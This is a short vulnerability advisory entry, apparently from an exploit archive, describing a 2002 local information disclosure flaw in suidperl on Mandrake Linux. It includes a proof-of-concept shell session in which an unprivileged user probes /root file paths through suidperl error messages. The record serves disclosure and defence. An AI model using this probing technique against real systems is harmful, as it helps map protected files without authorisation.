exploits , vulnerabilities , articles , SuidPerl Information Disclosure Vulnerability

Title	SuidPerl Information Disclosure Vulnerability
Published	2002-11-29-12:00AM
Updated	2002-11-30-04:21PM
Class	Access Validation Error
CVE	CVE-MAP-NOMATCH
Remote	No
Local	Yes
Credit	Discovery of this vulnerability credited to zen-parse.
Vulnerable	Larry Wall Perl 5.6 MandrakeSoft Linux Mandrake 7.1
Not Vulnerable
Code	The following proof of concept was provided: bash-2.04$ ls -ald /root drwxr-x--- 66 root root 8192 Nov 29 16:00 /root bash-2.04$ id uid=500(evil) gid=500(evil) groups=500(evil) bash-2.04$ ls /root/.bashrc ls: /root/.bashrc: Permission denied bash-2.04$ suidperl /root/.bashrc Script is not setuid/setgid in suidperl bash-2.04$ suidperl /root/nonexistantfile Can't open perl script "/root/nonexistantfile": No such file or directory
TXT

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